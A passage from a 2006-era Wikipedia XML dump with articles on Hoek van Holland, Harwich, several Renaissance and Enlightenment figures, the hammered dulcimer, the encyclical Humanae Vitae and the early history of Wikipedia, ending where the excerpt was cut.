      <timestamp>2002-03-06T21:17:14Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Haihowak]]
</text>
    </revision>
  </page>
  <page>
    <title>Hoek van Holland</title>
    <id>14062</id>
    <revision>
      <id>37405683</id>
      <timestamp>2006-01-30T20:57:59Z</timestamp>
      <contributor>
        <ip>145.53.55.140</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Hoek van holland stena line.jpg|thumb|300px|right|Ferry terminal on the Nieuwe Waterweg]]
[[Image:Ltspkr.png]]'''[[Media:Nl-Hoek_van_Holland.ogg|Hoek van Holland]]''' (literally &quot;Corner of Holland&quot;, but known in English as &quot;the Hook&quot; or &quot;Hook of Holland&quot;) is a town in [[South Holland]] in the [[Netherlands]]. It is situated on the [[North Sea]] coast, on the north bank of the [[Nieuwe Waterweg]] ship canal. The town is administered by the municipality (''[[gemeente]]'') of [[Rotterdam]] as a district (''wijk'') of that city. The district of Hoek van Holland covers an area of 16.7 km&amp;sup2; (of which 13.92 km&amp;sup2; is land). On [[1 January]] [[1999]] it had an estimated population of 9,400.

There is a regular [[Stena Line]] [[ferry]] service between Hoek van Holland and [[Harwich]] in [[England]]. 
There is also a [[train]] service running to [[Rotterdam]] via [[Maassluis]], [[Vlaardingen]] and [[Schiedam]].

Nearby towns include [[Monster, Netherlands|Monster]], [['s-Gravenzande]] and [[Naaldwijk]] to the northeast and [[Maassluis]] to the southeast. On the other side of the river is the [[Europoort]] and the [[Maasvlakte]].

The seaside beach has sandy dunes and a pier.

==External links==
*[http://www.hoekvanholland.nl/vvv2/home1.htm# Tourist information] (in [http://www.hoekvanholland.nl/vvv2/popup_engels.htm English])
*[http://www.stenaline.nl/ Harwich - Hoek ferry service]
{{mapnl|51.98|4.12|Hoek van Holland}}

[[ca:Hoek van Holland]]
[[de:Hoek van Holland]]
[[it:Hoek van Holland]]
[[nl:Hoek van Holland]]
[[sv:Hoek van Holland]]</text>
    </revision>
  </page>
  <page>
    <title>Hugh Binning</title>
    <id>14063</id>
    <revision>
      <id>23572765</id>
      <timestamp>2005-09-20T04:29:52Z</timestamp>
      <contributor>
        <username>Rpyle731</username>
        <id>46515</id>
      </contributor>
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]].</comment>
      <text xml:space="preserve">'''Hugh Binning''' ([[1627]]-[[1653]]) was a [[Christianity|Christian]] [[Philosophers|philosopher]] from age 14.  He became regent and professor of philosophy at the [[University of Glasgow]] by age 19.

==Works==
*''The Common Principles of the Christian Religion, Clearly Proved, and Singularly Improved;or, A Practical Catechism''
*''An Useful Case of Conscience, Learnedly and Accurately Discussed and Resolved, Concerning Associations and Confederacies with Idolaters, Infidels, Heretics, Malignants or any other Known Enemies of Truth and Godliness''
*''A Treatise of Christian Love''

{{Philosopher-stub}}
{{UK-bio-stub}}

[[Category:1627 births|Binning, Hugh]]
[[Category:1653 deaths|Binning, Hugh]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Home, Lord Kames</title>
    <id>14064</id>
    <revision>
      <id>31440409</id>
      <timestamp>2005-12-15T07:06:58Z</timestamp>
      <contributor>
        <username>-Barry-</username>
        <id>647870</id>
      </contributor>
      <comment>Changed &quot;therefor&quot; to &quot;therefore.&quot; see http://www.randomhouse.com/wotd/index.pperl?date=19970828</comment>
      <text xml:space="preserve">'''Henry Home, Lord Kames''' ([[1696]] &amp;ndash; [[December 27]], [[1782]]) was a [[Scotland|Scottish]] [[philosopher]] of the [[18th century]]. Born in Kames, [[Berwickshire]], he became an advocate (the Scottish equivalent of the English [[barrister]]) and was one of the leaders of the [[Scottish Enlightenment]]. In [[1752]], he was &quot;raised to the bench&quot;, thus acquiring the title of Lord Kames.  

Homes wrote much about the imporance of property to society.  In his ''Essay Upon Several Subjects Concerning British Antiquities'', written just after the [[Jacobitism|Jacobite]] revolt of [[1745]] he described how the politics of Scotland were not based on loyalty to Kings or Queens as Jacobites had said but on royal land grants given in return for loyalty.

In ''Historical Law Tracts'' and later in ''Sketches on the History of Man'' he described human history as having four distinct stages.  The first was as a hunter gatherer where people avoided each other out of competition.  The second stage he described was a herder of domestic animals which required forming larger societies.  No laws were needed at these stages except those given by the head of the family or society.  Agriculture was the third stage requiring greater cooperation and new relationships to allow for trade or employment (or slavery).  He argued that 'the intimate union among a multitude of individuals, occasioned by agriculture' required a new set of rights and obligations in society.  This requires laws and law enforcers.  A fourth stage moves from villages and farms to seaports and market towns requiring yet more laws and complexity but also much to benefit from.  

The above studies created the genre of the story of civilisation and defined the fields of [[anthropology]] and [[sociology]] and therefore the modern study of history for two hundred years.

Home was also on the panel of judges in the [[Joseph Knight]] case which ruled that there could be no slavery in [[Scotland]].

He enjoyed intelligent conversation and cultivated a large number of friends, among them [[John Home]], [[David Hume]] and [[James Boswell]].[http://www.jamesboswell.info/People/people.php?person=57]

His works included
*''Essays upon Several Subjects in Law'' ([[1732]])
*''Essays on the Principles of Morality and Natural Religion'' ([[1751]])
*''Introduction to the Art of Thinking'' ([[1761]])
*''Elements of Criticism'' ([[1762]])
*''Sketches of the History of Man'' ([[1776]]).

==External links==

* [http://www.jamesboswell.info/People/people.php?person=57 Henry Home, Lord Kames] at James Boswell - a Guide

[[Category:1696 births|Kames, Henry Home, Lord]]
[[Category:1782 deaths|Kames, Henry Home, Lord]]
[[Category:Enlightenment philosophers|Kames, Henry Home, Lord]]
[[Category:Scottish Enlightenment|Kames]]

[[pt:Lord Kames]]</text>
    </revision>
  </page>
  <page>
    <title>Harwich</title>
    <id>14065</id>
    <revision>
      <id>40205638</id>
      <timestamp>2006-02-18T23:20:33Z</timestamp>
      <contributor>
        <username>Andrew Norman</username>
        <id>137672</id>
      </contributor>
      <minor />
      <text xml:space="preserve">''This article is about the town in England. For other uses of the name, see [[Harwich (disambiguation)]].''
----
{{infobox England place with map|
   |Place=             Harwich
   |Map =              Harwich - Essex dot.png
   |Population =       
   |District=          [[Tendring]]
   |County=            [[Essex]]
   |Region=            [[East of England]]
   |Ceremonial=        [[Essex]]
   |Traditional=       [[Essex]]
   |Police=
   |Constituency=      
   |PostalTown=        
   |PostCode=          [[CO12]]
   |DiallingCode=      01255
   |GridReference=     TM243313 
   |Euro=              [[East of England (European Parliament constituency)|East of England]]
}}

[[image:HarwichDocks.jpg|thumb|right|Harwich Docks and Harwich seen from the river]]
[[image:arms-harwichtc.jpg|thumb|150px|right|Arms of Harwich Town Council]]

'''Harwich''' is a town in [[Essex, England]], located on the coast with the [[North Sea]] to the east.  It is in the [[Tendring]] district.  Nearby places include [[Felixstowe]] to the northeast, [[Ipswich, England|Ipswich]] to the northwest and [[Colchester, England|Colchester]] to the southwest.  The town is believed to date from the mid-12th century.

Its position on the estuaries of the [[River Stour, Suffolk|Stour]] and [[River Orwell|Orwell]] rivers and its usefulness to mariners as the only safe anchorage between the [[River Thames|Thames]] and [[Humber]] led to a long period of maritime significance, both civil and military. The town was heavily fortified, with [[Harwich Redoubt]], [[Beacon Hill Battery]], and [[Bath Side Battery]].

Harwich was the home town for Christopher Jones, the master and quarter-owner of the [[Mayflower]], and was also a base for that ship.

The [[Royal Navy]] is no longer present in Harwich but adjacent [[Parkeston]] continues to offer a regular [[ferry]] service to [[Hoek van Holland]] in the [[Netherlands]].  Many operations of the large [[containerization|container]] port at Felixstowe and of [[Trinity House]], the lighthouse authority, are managed from Harwich, and plans for the development of a new container port in Bathside Bay were approved by the British government in December 2005.

The town's coastal position, however, made it vulnerable to the [[North Sea Flood of 1953]].

Harwich today is contiguous with [[Dovercourt]] and the two along with Parkeston are often referred to collectively as Harwich.

The [[Electric Palace Cinema]], Harwich, is one of the oldest purpose-built cinemas to survive complete with its  original projection room and ornamental frontage still intact and operational.

== External links ==
{{oscoor gbx|TM2431}}
*[http://www.electricpalace.com/ Electric Palace]


[[Category:Towns in Essex]]
[[Category:Ports and harbours of England]]

[[de:Harwich]]
[[nl:Harwich]]</text>
    </revision>
  </page>
  <page>
    <title>Horse breeds</title>
    <id>14066</id>
    <revision>
      <id>15911644</id>
      <timestamp>2002-05-29T09:40:16Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[List of horse breeds]]</comment>
      <text xml:space="preserve">#REDIRECT [[List of horse breeds]]</text>
    </revision>
  </page>
  <page>
    <title>Hendrick Avercamp</title>
    <id>14067</id>
    <revision>
      <id>40278946</id>
      <timestamp>2006-02-19T13:23:10Z</timestamp>
      <contributor>
        <username>Sparkit</username>
        <id>194762</id>
      </contributor>
      <comment>commonscat</comment>
      <text xml:space="preserve">[[Image:SCENEONICE.jpg|right|thumb|400px|Fun on the ice]]

'''Hendrick Avercamp''', ([[1585]] - [[May 15]], [[1634]]) was a [[Netherlands|Dutch]] painter.

Born in [[Amsterdam]], [[The Netherlands]] he was baptized on [[January 27]], [[1585]].

He was [[deaf]] and known as &quot;de Stomme van Kampen&quot; (the mute of Kampen). For his artistic training, Hendrick was sent to Amsterdam to study with the Danish portrait painter [[Pieter Isaacks]] (1569-1625).

As one of the first landscape painters of the 17th-century Dutch school, he specialized in painting The Netherlands in winter. Avercamp paintings are colorful and lively, with carefully crafted images of the people in the landscape.

Avercamp's work enjoyed great popularity and he sold his drawings, many of which were tinted with water-color, as finished pictures to be pasted into the albums of collectors. [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] has an outstanding collection of his works at [[Windsor Castle]], [[England]].

Hendrick Avercamp died in [[Kampen, Netherlands|Kampen]], [[the Netherlands]] and was interred in the Sint Nicolaaskerk in Kampen.

On [[March 26]] [[2004]] a Grand Café, carrying Avercamp's name, opened her doors. The Grand Café is a salute to the early 17th-century painter and the walls are decorated with a couple reproductions of Hendrick Avercamp.

[[Image:Hendrick_Avercamp.JPG|left|frame|Winter Scene on a Canal]]

== External links ==
{{commonscat|Hendrick Avercamp}}
* [http://www.ibiblio.org/wm/paint/auth/avercamp/ Avercamp at the WebMuseum]

[[Category:1585 births|Avercamp, Hendrick]]
[[Category:1634 deaths|Avercamp, Hendrick]]
[[Category:Dutch painters|Avercamp, Hendrick]]
[[Category:Dutch Golden Age painters|Avercamp, Hendrick]]

[[cs:Hendrick Avercamp]]
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    </revision>
  </page>
  <page>
    <title>Hans Baldung</title>
    <id>14068</id>
    <revision>
      <id>41063959</id>
      <timestamp>2006-02-24T20:51:38Z</timestamp>
      <contributor>
        <ip>217.129.42.204</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Baldung Woman.jpg|right|thumb|300px|''Three Ages of the Woman and the Death'' [[1510]] &lt;br&gt; Oil on limewood,48 x 32,5 cm &lt;br&gt; [[Kunsthistorisches Museum]], [[Vienna]] ]]
'''Hans Baldung''' or '''Hans Baldung Grien/Grün''' (c. [[1480]] - [[1545]]). [[Germany|German]] ([[Alsace|Alsatian]]) [[Renaissance]] artist.  He was considered the most gifted student of [[Albrecht Dürer]].  

He was born at [[Schwäbisch Gmünd|Gmünd]] in [[Swabia]], and spent the greater part of his life at [[Strasbourg|Strassburg]] and [[Freiburg im Breisgau]].

The earliest pictures assigned to him are altar-pieces with the monogram '''H. B.''' interlaced, and the date of 1496, in the monastery chapel of Lichtenthal near [[Baden-Baden]]. Another early work is a portrait of the [[Maximilian I, Holy Roman Emperor|emperor Maximilian]], drawn in 1501 on a leaf of a sketch-book now in the print-room at [[Karlsruhe]]. &quot;The Martyrdom of St Sebastian and the Epiphany&quot; (Berlin Museum), fruits of his labour in 1507, were painted for the market-church of [[Halle, Saxony-Anhalt|Halle]] in Saxony. In 1509 Grün purchased the freedom of the city of Strassburg, and resided there till 1513, when he moved to Freiburg im Breisgau. There he began a series of large compositions, which he finished in 1516, and placed on the high altar of the Freiburg cathedral. He purchased anew the freedom of Strassburg in 1517, resided in that city as his domicile, and died a member of its great town council 1545.

Though nothing is known of Grün's youth and education, it may be inferred from his style that he was no stranger to the school of which Dürer was the chief. Gmünd is but 50 miles distant on either side from Augsburg and Nüremberg. Grün's prints were often mistaken for those of Dürer; and Dürer himself was well acauainted with Grün's woodcuts and copper-plates in which he traded during his trip to the Netherlands (1520). But Grün's prints, though Düreresque, are far below Dürer, and his paintings are below his prints.

Without absolute correctness as a draughtsman, his conception of human form is often very unpleasant, whilst a questionable taste is shown in ornament equally profuse and baroque. Nothing is more remarkable in his pictures than the pug-like shape of the faces, unless we except the coarseness of the extremities. No trace is apparent of any feeling for atmosphere or light and shade. Though Grün has been commonly called the Correggio of the north, his compositions are a curious medley of glaring and heterogeneous colours, in which pure black is contrasted with pale yellow, dirty grey, impure red and glowing green. Flesh is a mere glaze under which the features are indicated by lines.

His works are mainly interesting because of the wild and fantastic strength which some of them display. We may pass lightly over the &quot;Epiphany&quot; of 1507, the &quot;Crucifixion&quot; of 1512, or the &quot;Stoning of Stephen&quot; of 1522, in the Berlin Museum. There is some force in the &quot;Dance of Death&quot; of 1517, in the museum of Basel, or the Madonna of 1530, in the Liechtenstein Gallery at Vienna. Grün's best effort is the altarpiece of Freiburg, where the Coronation of the Virgin, and the Twelve Apostles, the Annunciation, Visitation, Nativity and Flight into Egypt, and the Crucifixion, with portraits of donors, are executed with some of that fanciful power which [[Martin Schön]] bequeathed to the Swabian school.

As a portrait painter he is well known. He drew the likeness of [[Charles V, Holy Roman Emperor|Charles V]], as well as that of Maximilian; and his bust of Margrave Philip in the Munich Gallery tells us that he was connected with the reigning family of Baden, as early as 1514. At a later period he had sittings from Margrave Christopher of Baden, Ottilia his wife, and all their children, and the picture containing these portraits is still in the grand-ducal gallery at Karlsruhe. Like Dürer and [[Lucas Cranach the Elder|Cranach]], Grün became a hearty supporter of the Reformation. He was present at the [[diet of Augsburg]] in 1518, and one of his woodcuts represents [[Martin Luther|Luther]] under the protection of the Holy Ghost, which hovers over him in the shape of a dove.


See also: [[Early Renaissance painting]]

==External links==
{{commonscat|Hans Baldung}}
*[http://www.ibiblio.org/wm/paint/auth/baldung/ Biography and examples of work at the &lt;nowiki&gt;&quot;WebMuseum&quot;&lt;/nowiki&gt; by Nicolas Pioch]
*[http://www.abcgallery.com/B/baldung/baldungbio.html Biography and examples of work at &quot;Olga's gallery&quot;]
*[http://www.abcgallery.com/B/baldung/baldung.html Works]
*[http://www.newadvent.org/cathen/02220b.htm Catholic Encyclopedia article]

[[Category:1480 births|Baldung, Hans]]
[[Category:1545 deaths|Baldung, Hans]]
[[Category:German painters|Baldung, Hans]]
[[Category:Renaissance painters|Baldung, Hans]]

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    </revision>
  </page>
  <page>
    <title>How can I build a Wiki of my own</title>
    <id>14069</id>
    <revision>
      <id>15911647</id>
      <timestamp>2003-11-08T11:37:26Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Wiki]]</text>
    </revision>
  </page>
  <page>
    <title>Hammered dulcimer</title>
    <id>14070</id>
    <revision>
      <id>39174384</id>
      <timestamp>2006-02-11T05:28:12Z</timestamp>
      <contributor>
        <ip>203.144.144.164</ip>
      </contributor>
      <comment>m</comment>
      <text xml:space="preserve">[[Image:MasterworksHammeredDulcimer.jpg|thumb|200px|right|Hammered dulcimers have two or sometimes three bridges, and are played by striking the strings with small &quot;hammers&quot;. The hammers are sometimes covered with leather to create a softer sound.]]

The '''hammered dulcimer''' is a [[string instrument|stringed]] [[musical instrument]] with the strings stretched over a [[trapezoid]]al sounding board. The instrument is typically set at an angle on a stand in front of the musician, who holds a [[hammer]] in either hand with which to strike the strings (for the plucked Appalachian dulcimer, see [[Appalachian dulcimer]]). The hammered dulcimer comes in various sizes, identified by the number of strings that cross each of the bridges. A 15/14, for example, has two bridges and spans three [[octave|octaves]].

Versions of this instrument have been used throughout the world.  In Eastern Europe a larger descendant of the hammered dulcimer called the [[cimbalom]] is played and has been used by a number of [[European classical music|classical]] [[composer]]s, including [[Zoltán Kodály]] and [[Igor Stravinsky]], and more recently by [[Blue Man Group]]. The [[khim]] is a [[Thailand|Thai]] hammered dulcimer. The [[China|Chinese]] [[yangqin]] is a type of hammered dulcimer that originated in [[Iran|Persia]]. The [[Santur]] and [[Santoor]] are found in the [[Middle East]] and [[India]], respectively.

The instrument has seen somewhat of a revival in America in the American [[folk music]] traditions.  It is also still played in [[Wales]], [[East Anglia]], [[Northumbria]], the [[Middle East]], China and [[Thailand]].

==Names of hammered dulcimers from around the world==

* Austria - Hackbrett
* Brazil - [[saltério]]
* Cambodia - [[khim]]
* China - [[yangqin]]
* Germany - Hackbrett
* Greece - [[santouri]]
* Hungary - [[cimbalom]]
* India - [[santoor]]
* Iran - [[santur]]
* Italy - [[salterio]]
* Korea - [[yanggum]]
* Laos - [[khim]]
* Mexico - [[salterio]]
* Netherlands - [[hakkebord]]
* Romania - [[cymbalum|ţambal]]
* Spain - [[salterio]]
* Sweden - [[hackbräda]], [[hammarharpa]]
* Switzerland - [[Hackbrett]], [[Hachbrattli]]
* Thailand - [[khim]]
* United States - [[hammered dulcimer]]
* Yiddish - [[tsimbl]]

== See also ==
* [[List of hammered dulcimer players]]

== Further reading ==

* Gifford, Paul M., ''The Hammered Dulcimer:  A History'', The Scarecrow Press, Inc., 2001 (ISBN 0810839431).  A comprehensive history of the hammered dulcimer and its variants.

* Kettlewell, David, ''The  Dulcimer'', PhD thesis, 1976.  History and playing traditions around the world; web-version at http://www.new-renaissance.net/dulcimer.

==External links==
*[http://www.rtpnet.org/~hdweb/ The Hammered Dulcimer Page]
*[http://www.tsimbl.com/  Tsimbl.com]
*[http://www.boldersounds.com/Product.aspx?PID=25 Hammered Dulcimer Sample Library &amp; MP3 Demos]
*[http://www.si.edu/resource/faq/nmah/hdhist.htm Smithsonian Institution booklet on hammered dulcimer history and playing]
*[http://www.si.edu/resource/faq/nmah/hdmake.htm Smithsonian Institution booklet on making a hammered dulcimer (by Sam Rizzetta)]

[[Category:String instruments]]
[[Category:Box zithers]]

[[nl:Hakkebord]]</text>
    </revision>
  </page>
  <page>
    <title>Humanae Vitae</title>
    <id>14071</id>
    <revision>
      <id>37760878</id>
      <timestamp>2006-02-02T00:25:06Z</timestamp>
      <contributor>
        <username>Musical Linguist</username>
        <id>233733</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.22.44.66|24.22.44.66]] ([[User talk:24.22.44.66|talk]]) to last version by JASpencer</comment>
      <text xml:space="preserve">'''''Humanae Vitae''''' ([[Latin]] &quot;of human life&quot;, but typically translated as '''On the Regulation of Human Birth''') is an [[encyclical]] written by [[Pope Paul VI]] and promulgated on [[July 25]], [[1968]]. It expresses the official position of the [[Roman Catholic Church]] regarding [[abortion]], [[contraception]], and other issues pertaining to human life. Mainly because of its prohibition of all forms of artificial birth control, the encyclical remains controversial even within the Church.

== Summary ==

The encyclical opens with the observation that circumstances often dictate that married couples should limit the number of children, and that the sexual act between husband and wife is still worthy even if it can be foreseen not to result in procreation.
Nevertheless, it is held that the sexual act must &quot;retain its intrinsic relationship to the procreation of human life&quot;, and the &quot;direct interruption of the generative process already begun&quot; is unlawful.

[[Abortion]], even for therapeutic reasons, is absolutely forbidden, as is [[sterilization (surgical procedure)|sterilization]], even if temporary.
Similarly, every action specifically intended to prevent procreation is forbidden. This includes both chemical and barrier methods of contraception. All these are held to directly contradict the &quot;moral order which was established by God&quot;.

Therapeutic means which induce infertility are allowed, if they are not specifically intended for that purpose (double effect).
[[Natural family planning]] methods (abstaining from intercourse during certain parts of the [[menstrual cycle|women's cycle]]) are allowed, since they take advantage of &quot;a faculty provided by nature.&quot;

The acceptance of artificial methods of contraception is then claimed to result in several negative consequences, among them a &quot;general lowering of moral standards&quot; resulting from sex without consequences, and the danger that men may reduce women &quot;to being a mere instrument for the satisfaction of [their] own desires&quot;.

The encyclical acknowledges that &quot;perhaps not everyone will easily accept this particular teaching&quot;, but points out that the Church cannot &quot;declare lawful what is in fact unlawful&quot;.

The encyclical closes with an appeal to public authorities to oppose laws which undermine the natural moral law (see [[natural law]]), an appeal to scientists to further study effective methods of natural birth control and appeals to doctors, nurses and priests to promote the method.

== History ==

There had been a long-standing general Christian prohibition on contraception and abortion, with such Church Fathers as [[Clement of Alexandria]] and [[Augustine of Hippo|Saint Augustine]] condemning the practices.  At the [[1930]] [[Lambeth Conference]], the [[Anglican Communion]] changed its position by allowing for contraception in limited circumstances.  Every other [[mainline]] [[Protestant]] denomination has since modified its view on contraception to one of approval.  

In a partial reaction, [[Pope Pius XI]] wrote the encyclical [[Casti Connubii]] (On Christian Marriage) in 1930, reaffirming the Catholic Church's attachment to various traditional Christian teachings on marriage and sexuality, including artificial contraception even within marriage.  

With the appearance of [[oral contraceptives]] in the early 1960s, some voices in the Church argued for a reconsideration of these positions.
In [[1963]] [[Pope John XXIII]] established a commission of theologians to study questions of birth control. After John's death in 1963, [[Pope Paul VI]] added laymen to this commission. The commission produced a report in [[1966]], stating that artificial birth control was not intrinsically evil and that Catholic couples should be allowed to decide for themselves about the methods to be employed. Two members of the commission produced a minority report stating that the Church should not and could not change its earlier teaching. Even though intended for the Pope only, the commission's reports were leaked to the press in [[1967]], raising public expectations of liberalization. However, Paul VI explicitly rejected the majority's recommendations. 

===The role of Karol Wojty&amp;#322;a===
The final language of the encyclical was heavily influenced by the Bishop of [[Kraków]], Karol Wojty&amp;#322;a, who would later become [[Pope John Paul II]]. Bishop Wojty&amp;#322;a had earlier defended the traditional church position from a philosophical standpoint in his [[1960]] book ''Love and Responsibility''. 

As reported in George Weigel's biography of John Paul II, Wojty&amp;#322;a had in fact been named by Paul VI to the commission to study the question. However, the [[Communist]] authorities in [[Poland]] would not permit him to travel to [[Rome]] to take part in the key meeting of June 1966 in which the majority decision of the commission was made. 

After he became pope in [[1978]], John Paul II gave a series of lectures, entitled the [[Theology of the Body]], that further developed themes in ''Humanae Vitae'' and ''Love and Responsibility''.

== Reception ==
Many Catholics disagree with the prohibition on artificial birth control and continue to use these methods. The publication of the encyclical marks the first time in the twentieth century that open dissent about teachings of the church was voiced widely and publicly. The policy has been criticized by development organizations and others who claim that it limits the methods available to fight world-wide population growth and that the prohibition on condoms hinders the struggle against [[AIDS]].

Within two days of the encyclical's release, a group of dissident theologians, led by Rev. [[Charles Curran (theologian)|Charles Curran]], then of the [[Catholic University of America]], issued a statement affirming that Catholics' individual consciences should prevail in such a personal and private issue.

More recently, there has been a degree of resurgence of support for the teaching in the Church. Catholic writers, including [[Janet Smith]], [[Kimberly Hahn]], and [[Mary Shivanandan]] have all written extensively in support of the teaching, and on the reasons behind it. 

==External links==
*[http://www.vatican.va/holy_father/paul_vi/encyclicals/documents/hf_p-vi_enc_25071968_humanae-vitae_en.html Complete English text from the Vatican]
*[http://www.vatican.va/holy_father/paul_vi/encyclicals/documents/hf_p-vi_enc_25071968_humanae-vitae_lt.html Original Latin text]
* Karol Wojty&amp;#322;a: &quot;[http://www.tcrnews2.com/HumanaeVitae.html The Truth of the Encyclical 'Humanae Vitae']&quot;, ''L'Osservatore Romano'', [[16 January]] [[1969]]
* [http://www.viastuas.net.au/bc/WeigelHV.html The Humanae Vitae controversy], chapter from George Weigel's biography of Karol Wojty&amp;#322;a
* Megan Hartman: &quot;[http://www.catholicsforchoice.org/articles/thirty.asp Humanae Vitae: Thirty Years of Discord and Dissent]&quot;, Conscience, Autumn 1998

==Further reading==
* Wojtyła, Karol, ''Love and Responsibility'', Ignatius Press, ISBN 0898704456, 1993.
* Smith, Janet, ''Why Humanae Vitae Was Right: A Reader'', Ignatius Press, ISBN 0898704332, 1993.
* Shivanandan, Mary, ''Crossing the Threshold of Love: A New Vision of Marriage'', Catholic University of America Press, ISBN 0813209412, 1999.
* Hahn, Kimberly, ''Life-Giving Love'', Charis Books, ISBN 0813209412, 2002.

[[Category:Papal Encyclicals]]
[[Category:Documents of the Catholic Church]]
[[Category:Catholic doctrines]]
[[Category:Theology of the Body]]

[[de:Humanae Vitae]]
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[[sv:Humanae Vitae]]</text>
    </revision>
  </page>
  <page>
    <title>History of Wikipedia</title>
    <id>14072</id>
    <revision>
      <id>42011724</id>
      <timestamp>2006-03-03T05:15:10Z</timestamp>
      <contributor>
        <username>Larry Sanger</username>
        <id>216</id>
      </contributor>
      <text xml:space="preserve">'''[[Wikipedia]]''', a project to produce a [[free content]] [[encyclopedia]] that could be edited by anyone, formally began on [[15 January]] [[2001]] as a complement to the similar, but expert-written, [[Nupedia]] project.  It has since replaced Nupedia, growing to become a large global project.  As of 2006, it includes millions of articles and pages worldwide, and content from hundreds of thousands of contributors.

==Antecedents==
The concept of gathering all of the world's knowledge in a single place goes back to the ancient [[Library of Alexandria]] and [[Pergamon]], but the modern concept of a general purpose, widely distributed, printed [[encyclopedia]] dates from shortly before [[Denis Diderot]] and the [[18th century]] [[encyclopedist]]s. The idea of using automated machinery beyond the [[printing press]] to build a more useful encyclopedia can be traced to [[H. G. Wells]]' short story ''[[World Brain]]'' ([[1937]]) and [[Vannevar Bush]]'s future vision of the [[microfilm]] based [[Memex]] in ''[[As We May Think]]'' ([[1945]]). Another milestone was [[Ted Nelson]]'s [[Project Xanadu]] in [[1960]]. 

With the development of the [[Internet]], many people attempted to develop [[Internet encyclopedia project]]s. [[Free software]] exponent [[Richard Stallman]] described the usefulness of a &quot;Free Universal Encyclopedia and Learning Resource&quot; in [[1999]]. He described Wikipedia's formation as &quot;exciting news&quot; and his [[Free Software Foundation]] encourages people &quot;to visit and contribute to the site&quot;. One never-realized predecessor was the [[Interpedia]], which [[Robert McHenry]] has linked conceptually to Wikipedia.

==Formulation of the idea==
Wikipedia was founded as a feeder project for [[Nupedia]], an earlier (now defunct) project founded by [[Jimmy Wales]] to produce a free encyclopedia.  Nupedia had an elaborate multi-step [[peer review]] process, and required highly qualified contributors.  The writing of articles was slow throughout 2000, the first year that project was online, despite having a mailing-list of interested editors and a full-time editor-in-chief, [[Larry Sanger]].  

During Nupedia's first year, Wales and Sanger discussed various ways to supplement Nupedia with a more open, complementary project.  Jeremy Rosenfeld, a Bomis employee, introduced Wales to the concept of a [[wiki]].  Independently, [[WikiWikiWeb:BenKovitz|Ben Kovitz]], a [[computer programmer]] and regular on [[Ward Cunningham]]'s wiki (the [[WikiWikiWeb]]), introduced Sanger to wikis over dinner on [[January 2]], [[2001]].  Sanger thought a wiki would be a good platform to use, and proposed that a [[UseModWiki]] (then v. 0.90) be set up for Nupedia.  Wales set one up and put it online on [[January 10]].

==Beginnings of a new project==
[[Image:Wiki logo Nupedia.jpg|right|The Wikipedia logo used until late 2001]]

There was considerable resistance on the part of Nupedia's editors and reviewers to the idea of associating Nupedia with a wiki-style website.  Sanger suggested giving the new project its own name, ''Wikipedia'', and Wikipedia was soon launched on its own domain, &lt;tt&gt;wikipedia.com&lt;/tt&gt;, on [[January 15]].  This day is now known as &quot;[[Wikipedia Day]]&quot; within the community.  

The [[bandwidth]] and [[server]] (located in San Diego) used for these projects were donated by Bomis.  Many current and past [[Bomis]] employees have contributed some content to the encyclopedia; notably [[Tim Shell]], co-founder and current CEO of Bomis, and programmer Jason Richey.

[[Image:UuU.png|thumb|left|This is the '''UuU''' edit, the first edit that is still on Wikipedia to this day, as it appears today using the ''Nostalgia'' skin.]]

The first edits ever made on Wikipedia are believed to be test edits by [[Jimmy Wales|Wales]], however the oldest article still preserved is (as documented at [http://en.wikipedia.org/wiki/Wikipedia:Wikipedia's_oldest_articles Wikipedia:Wikipedia's oldest articles]) the article [http://en.wikipedia.org/w/wiki.phtml?title=UuU&amp;oldid=291430 UuU], created by the user &lt;tt&gt;Eiffel.demon.co.uk&lt;/tt&gt; on [[16 January]] [[2001]], at 21:08 UTC. This was on the second day after the start of Wikipedia.

The project received many new participants after being mentioned three times on the [[Slashdot]] website &amp;mdash; two minor mentions on [[March 5]] [http://slashdot.org/article.pl?sid=01/03/02/1422244&amp;tid=99] and [[March 29]] [http://slashdot.org/article.pl?sid=01/03/29/2035230&amp;tid=95], [[2001]], and then a prominent pointer to a story on the community-edited technology and culture website [[Kuro5hin]] on [[July 25]] [http://www.kuro5hin.org/story/2001/7/25/103136/121]. Between these relatively rapid influxes of traffic, there has been a steady stream of traffic from other sources, especially [[Google]], which alone sent hundreds of new visitors to the site every day.

[[Image:Wiki logo The Cunctator.png|right|The Wikipedia logo, designed by The Cunctator, used from late 2001 until 2003]]
The project passed 1,000 articles around [[February 12]], [[2001]], and 10,000 articles around [[September 7]]. In the first year of its existence, over 20,000 encyclopedia entries were created &amp;mdash; a rate of over 1,500 articles per month. On [[August 30]], [[2002]], the article count reached 40,000. The rate of growth has more or less steadily increased since the inception of the project, except for a few software- and hardware-induced slow-downs.

==International expansion==
The international expansion of the project also took place during this period. In [[May 2001]], the first wave of non-English Wikipedias were launched (in [[Catalan language|Catalan]], [[Chinese language|Chinese]], [[Dutch language|Dutch]], [[German language|German]], [[Esperanto]], [[French language|French]], [[Hebrew language|Hebrew]], [[Italian language|Italian]], [[Japanese language|Japanese]], [[Portuguese language|Portuguese]], [[Russian language|Russian]], [[Spanish language|Spanish]], and [[Swedish language|Swedish]], soon joined by [[Arabic language|Arabic]] and [[Hungarian language|Hungarian]] [http://www.wikipedia.org/wiki/Wikipedia:Announcements_May_2001], [http://www.wikipedia.org/w/wiki.phtml?title=International_Wikipedia&amp;action=history]). In September, [http://www.wikipedia.org/wiki/Wikipedia:Announcements_September_2001] a further commitment to the multilingual provision of Wikipedia was made. At the end of the year, when international statistics first began to be logged, [[Afrikaans]], [[Norwegian language|Norwegian]], and [[Serbocroatian language|Serbocroatian]] versions were announced. [http://www.wikipedia.org/wiki/Wikipedia:International_wikipedias_statistics]

==Continuing growth==
===2002===
